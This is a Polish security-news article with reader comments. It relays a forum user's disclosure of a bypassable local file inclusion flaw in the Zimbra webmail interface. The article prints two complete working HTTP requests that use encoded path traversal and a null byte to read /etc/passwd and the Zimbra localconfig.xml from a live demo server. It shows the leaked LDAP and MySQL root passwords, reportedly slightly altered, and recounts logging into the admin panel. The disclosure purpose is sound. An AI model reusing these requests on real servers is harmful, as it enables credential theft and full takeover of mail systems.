Zimbra to dość popularny darmowy interfejs www do skrzynek poczty elektronicznej, używany przez wiele uczelni czy nawet instytucje państwowe. Niestety jest też podatny na błąd umożliwiający zdalne odczytanie hasła roota kilku usług serwera.
To, że w popularnych programach pojawiają się błędy, możemy zrozumieć. Nie możemy jednak zrozumieć, gdy znane błędy są łatane w taki sposób, że możliwe jest ich ponowne wykorzystanie. Świetny przykład takiej sytuacji przedstawił nam Smash_ z forum devilteam.pl. Oddajmy mu zatem głos (hasła występujące w tekście zostały lekko zmodyfikowane).
===
Szóstego grudnia roku 2013 na światło dziennie wyciekła informacja o świeżym błędzie LFI w najnowszej wtedy Zimbrze:
http://www.exploit-db.com/exploits/30085/
…dowiedziałem się o tym dopiero po tym, jak sam znalazłem ten błąd.
Załatany 23 stycznia błąd znajdował się w:
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,AjxTemplateMsg.js.zgz
i pozwalał na zdalny odczyt plików, min. plik konfugracyjny Zimbry (localconfig.xml). Okazuje się, że Zimbra podeszła zdecydowanie źle do rozwiązania tego problemu. Wystarczyło encodować zapytanie GET (slashe), aby atak się powiódł.
Przykładowy request:
GET /zimbra/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,AjxTemplateMsg.js.zgz?v=110129054903&skin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00carbon HTTP/1.1Host: demo2.zimbra.com
Odpowiedź serwera:
[...] // Basename: /res/AjxTemplateMsg // properties for AjxTemplateMsg not found if (!window.AjxTemplateMsg) { AjxTemplateMsg = {}; } a=AjxTemplateMsg; a.root="x:0:0:root:/root:/bin/bash"; a.bin="x:1:1:bin:/bin:/sbin/nologin"; a.daemon="x:2:2:daemon:/sbin:/sbin/nologin"; a.adm="x:3:4:adm:/var/adm:/sbin/nologin"; a.lp="x:4:7:lp:/var/spool/lpd:/sbin/nologin"; a.sync="x:5:0:sync:/sbin:/bin/sync"; a.shutdown="x:6:0:shutdown:/sbin:/sbin/shutdown"; [...]
Sam byłem zdziwiony, że udało mi się odczytać plik passwd. Po chwili analizy znalazłem błąd wspomniany na samym początku i doszedłem do wniosku, że teraz wystarczy poprosić jedynie o plik konfiguracyjny.
GET /zimbra/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,AjxTemplateMsg.js.zgz?v=110129054903&skin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fzimbra%2fconf%2flocalconfig.xml%00carbon HTTP/1.1 Host: demo2.zimbra.com
Odpowiedź:
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>"; a["<localconfig>"]=""; a["<key"]="name=\"ldap_postfix_password\">"; a["<value>D3duT1cx0U</value>"]=""; [...] a["<key"]="name=\"ldap_master_url\">"; a["<value>ldap"]="//demo2.zimbra.com:389</value>"; a["</key>"]=""; a["<key"]="name=\"ldap_amavis_password\">"; a["<value>D3duT1cx0U</value>"]=""; [...] a["<key"]="name=\"ldap_replication_password\">"; a["<value>D3duT1cx0U</value>"]=""; [...] a["<key"]="name=\"ldap_root_password\">"; a["<value>D3duT1cx0U</value>"]=""; [..] a["<key"]="name=\"zimbra_mysql_connector_maxActive\">"; a["<value>100</value>"]=""; [..] a["<key"]="name=\"ldap_nginx_password\">"; a["<value>D3duT1cx0U</value>"]=""; [...] a["<key"]="name=\"mailboxd_keystore_password\">"; a["<value>B2ifY1wqn</value>"]=""; [...] a["<key"]="name=\"ldap_host\">"; a["<value>demo2.zimbra.com</value>"]=""; [..] a["<key"]="name=\"zimbra_mysql_password\">"; a["<value>ctRT28zXT6019jzEc6mVJjZ7pE19kK9</value>"]=""; a["</key>"]=""; a["<key"]="name=\"ldap_port\">"; a["<value>389</value>"]=""; a["</key>"]=""; a["<key"]="name=\"zimbra_ldap_password\">"; a["<value>D3duT1cx0U</value>"]=""; [...] a["<key"]="name=\"mysql_root_password\">"; a["<value>BeP1Eayh4FVii0_Fl1KsUQJxrqc42w_I</value>"]=""; [...]
Jednym słowem – fail.
Pozyskanymi danymi byłem w stanie z sukcesem zalogować się do panelu administratora tamtejszej zimbry https://demo2.zimbra.com:7071/zimbraAdmin/
Możliwa także była operacja utworzenia drugiego konta administratora z najwyższymi uprawnieniami.
What’s wrong with it-sec?
===
Wszystkim administratorom Zimbry rekomendujemy bardzo szybkie wyłączenie interfejsu do czasu opublikowania odpowiedniej łaty.
Komentarze
Trochę źle wytłumaczone, patch tej luki wyglądał tak, że po dodaniu do GET’a podbicie katalogu zwracało 404, a można to ominąć właśnie poprzez encoding ’../’
Błąd w tytule powinno być „0day” <–zero a nie "oday".
Poprawione, choć przy tej czcionce nie widać różnicy :)
No to zagadka wyjaśniona – zastanawiałem się w czym napisany jest „Zimbra”, cóż to za cudo, które przekazuje „urlencodowane” parametry do aplikacji :)
Mam zimbre, lfi też jest, ale wykorzystać się błędu nie ma. Jakieś pomysły?
Ten błąd nie jest aż tak straszny: aby móc go użyć, trzeba mieć w zimbrze już konto i być zalogowanym. Dopiero wówczas można zrobić w/w.
Co nie zmienia faktu że fajna wtopa na demie zimbry :)
@nobody Zimbra jest napisana w Javie
A 'patchem’ to jest mod_security ;)